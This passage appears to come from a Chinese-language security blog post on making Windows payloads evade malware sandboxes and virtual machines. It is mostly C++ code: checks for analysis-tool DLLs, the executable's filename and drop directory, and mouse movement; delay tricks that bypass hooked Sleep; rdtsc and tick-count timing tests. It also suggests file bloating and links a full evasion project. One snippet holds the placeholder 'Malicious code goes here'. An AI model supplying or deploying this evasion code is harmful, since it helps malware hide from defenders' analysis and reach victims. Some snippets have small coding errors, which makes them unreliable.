        L"vmcheck.dll",     // Virtual PC
        L"wpespy.dll",      // WPE Pro
        L"cmdvrt64.dll",    // Comodo Container
        L"cmdvrt32.dll"     // Comodo Container
    };

    for (const auto& dll : dlls) {
        HMODULE hDll = GetModuleHandle(dll.c_str());
        if (hDll != NULL) {
            return TRUE;  
        }
    }
    return FALSE;  
}

检测自身文件名

BOOL checkCurrentProcessFileName(const std::wstring& targetSubstring) {
    wchar_t path[MAX_PATH];
    // 获取当前进程的可执行文件路径
    DWORD length = GetModuleFileNameW(NULL, path, MAX_PATH);
    if (length == 0) {
        std::wcerr << L"Failed to get executable path" << std::endl;
        return false;
    }

    // 获取路径中的文件名部分
    std::wstring executablePath(path);
    size_t pos = executablePath.find_last_of(L"\\");
    if (pos != std::wstring::npos) {
        executablePath = executablePath.substr(pos + 1);  // 提取文件名部分
    }

    // 检查文件名是否包含目标子字符串(不区分大小写)
    return executablePath.find(targetSubstring) != std::wstring::npos;
}

检测是否被释放到c盘随机字符串目录下

https://xz.aliyun.com/t/14381 于吉师傅的这个脚本不是很严谨 c盘下一级任意目录都符合这个条件 除了带空格的

稍微整的严谨一点

而且现在是直接释放到桌面上 其它几个常见沙箱都是释放到%temp%下

BOOL check_run_path() {
    // 获取当前工作目录
    char buf[256];
    GetCurrentDirectoryA(256, buf);
    std::string workingdir(buf);

    // 如果路径长度小于等于6,直接返回FALSE
    if (workingdir.length() <= 6) {
        return FALSE;
    }

    // 正则表达式用于匹配以 C:\ 开头的路径
    std::regex pattern("^C:\\\\[A-Za-z0-9_]+$");  // 只匹配一级目录
    if (std::regex_match(workingdir, pattern)) {
        // 常见的排除文件夹
        std::vector<std::string> excludeDirs = { "Windows", "ProgramData", "Users" };

        // 获取工作目录的子目录名称(C:\后面的第一个文件夹)
        size_t firstSlash = workingdir.find("\\", 3); // 从 C:\ 后开始查找
        size_t secondSlash = workingdir.find("\\", firstSlash + 1); // 查找第二个反斜杠位置

        std::string firstFolder = workingdir.substr(firstSlash + 1, secondSlash - firstSlash - 1);
        for (const auto& excludeDir : excludeDirs) {
            if (firstFolder == excludeDir) {
                return TRUE;
            }
        }
        return FALSE;
    }

    return FALSE;
}

鼠标移动

GetCursorPos 和 sleep都是比较敏感的API

BOOL mouse_movement() {

    POINT positionA = {};
    POINT positionB = {};

    /* Retrieve the position of the mouse cursor, in screen coordinates */
    GetCursorPos(&positionA);

    /* Wait a moment */
    Sleep(5000);

    /* Retrieve the poition gain */
    GetCursorPos(&positionB);

    if ((positionA.x == positionB.x) && (positionA.y == positionB.y))
        /* Probably a sandbox, because mouse position did not change. */
        return TRUE;

    else
        return FALSE;
}

延迟相关

NtDelayExecution

Sleep底层调用 NtDelayExecution

直接调用NtDelayExecution以规避对Sleep的检测

typedef NTSTATUS (NTAPI* pNtDelayExecution)(
    IN BOOLEAN              Alertable,
    IN PLARGE_INTEGER       DelayInterval);

    pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtDelayExecution");
    LARGE_INTEGER delayInterval;
    delayInterval.QuadPart = -1 * 10000000; // 100ns * 10000000 = 1s

    NtDelayExecution(FALSE, &delayInterval);
// 延时一秒

WaitForSingleObject

BOOL timing_WaitForSingleObject(UINT delayInMillis)
{
    HANDLE hEvent;

    // Create a nonsignaled event
    hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
    if (hEvent == NULL)
    {
        return TRUE;
    }

    // Wait until timeout 
    DWORD x = WaitForSingleObject(hEvent, delayInMillis);

    // Malicious code goes here

    return FALSE;
}

timing_SetTimer

BOOL CALLBACK TimerProc(HWND hwnd, UINT uMsg, UINT_PTR idEvent, DWORD dwTime)
{
    // This function is called when the timer expires
    return TRUE;
}
BOOL timing_SetTimer(UINT delayInMillis)
{
    // Set a timer that triggers after `delayInMillis` milliseconds
    UINT_PTR timerId = SetTimer(NULL, 0, delayInMillis, (TIMERPROC)TimerProc);

    if (timerId == 0)
    {
        return FALSE;
    }

    // Wait for the timer to trigger (simulate doing something while waiting)
    // We simulate waiting by running a message loop (this is the trick to keep the timer alive)
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        if (msg.message == WM_TIMER)
        {
            // Timer triggered, handle it
            break;
        }
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    // Kill the timer after it has triggered
    KillTimer(NULL, timerId);

    return TRUE;
}

自实现

void custom_sleep(int milliseconds) {
    LARGE_INTEGER frequency;  // 计时器频率
    LARGE_INTEGER start, now;  // 开始时间和当前时间
    double elapsedTime;

    QueryPerformanceFrequency(&frequency);
    // 当前时间
    QueryPerformanceCounter(&start);

    // 等待直到延迟时间过去
    do {
        QueryPerformanceCounter(&now);
        elapsedTime = static_cast<double>(now.QuadPart - start.QuadPart) / frequency.QuadPart * 1000.0;
    } while (elapsedTime < milliseconds);
}

rdtsc 是否被篡改使 frndint 计算周期数过小

/*
RDSTC is a famous x86 instruction to count the number of cycle since reset.
This can be used to detect the VM. Thanks to Forcepoint for blog article.
*/

#define LODWORD(_qw)    ((DWORD)(_qw))
BOOL rdtsc_diff_locky()
{
    ULONGLONG tsc1;
    ULONGLONG tsc2;
    ULONGLONG tsc3;
    DWORD i = 0;

    // Try this 10 times in case of small fluctuations
    for (i = 0; i < 10; i++)
    {
        tsc1 = __rdtsc();

        // Waste some cycles - should be faster than CloseHandle on bare metal
        GetProcessHeap();

        tsc2 = __rdtsc();

        // Waste some cycles - slightly longer than GetProcessHeap() on bare metal
        CloseHandle(0);

        tsc3 = __rdtsc();

        // Did it take at least 10 times more CPU cycles to perform CloseHandle than it took to perform GetProcessHeap()?
        if ((LODWORD(tsc3) - LODWORD(tsc2)) / (LODWORD(tsc2) - LODWORD(tsc1)) >= 10)
            return FALSE;
    }

    // We consistently saw a small ratio of difference between GetProcessHeap and CloseHandle execution times
    // so we're probably in a VM!
    return TRUE;
}

GetTickCount判断时间是否被加速

通过GetTickCount64获取开机时间

在延迟一定时间后再次获取求差 判断是否是正常时间流速

BOOL accelerated_sleep()
{
    DWORD dwStart = 0, dwEnd = 0, dwDiff = 0;
    DWORD dwMillisecondsToSleep = 60 * 1000;

    /* Retrieves the number of milliseconds that have elapsed since the system was started */
    dwStart = GetTickCount64();

    /* Let's sleep 1 minute so Sandbox is interested to patch that */
    Sleep(dwMillisecondsToSleep);

    /* Do it again */
    dwEnd = GetTickCount64();

    /* If the Sleep function was patched*/
    dwDiff = dwEnd - dwStart;
    if (dwDiff > dwMillisecondsToSleep - 1000) // substracted 1s just to be sure
        return FALSE;
    else
        return TRUE;
}

其它

体积膨胀 很多云沙箱限制上传文件大小 塞几百兆资源文件好了 感觉实战意义不大

项目地址

完整代码

https://github.com/Arcueld/VoidWalker

参考

https://www.cyberbit.com/blog/endpoint-security/anti-vm-and-anti-sandbox-explained/

https://rayanfam.com/topics/defeating-malware-anti-vm-techniques-cpuid-based-instructions/

https://www.huorong.cn/document/tech/vir_report/1772

https://github.com/ZanderChang/anti-sandbox

https://xz.aliyun.com/t/14381

https://www.anquanke.com/post/id/186218

https://xz.aliyun.com/t/14610

https://github.com/a0rtega/pafish

https://github.com/LordNoteworthy/al-khaser

https://github.com/Arvanaghi/CheckPlease

https://xz.aliyun.com/t/13256

https://learn.microsoft.com/zh-cn/windows/win32/api/sysinfoapi/nf-sysinfoapi-getsystemfirmwaretable

https://stackoverflow.com/questions/60700302/win32-api-to-get-machine-uuid

0 条评论
某人
表情
可输入 255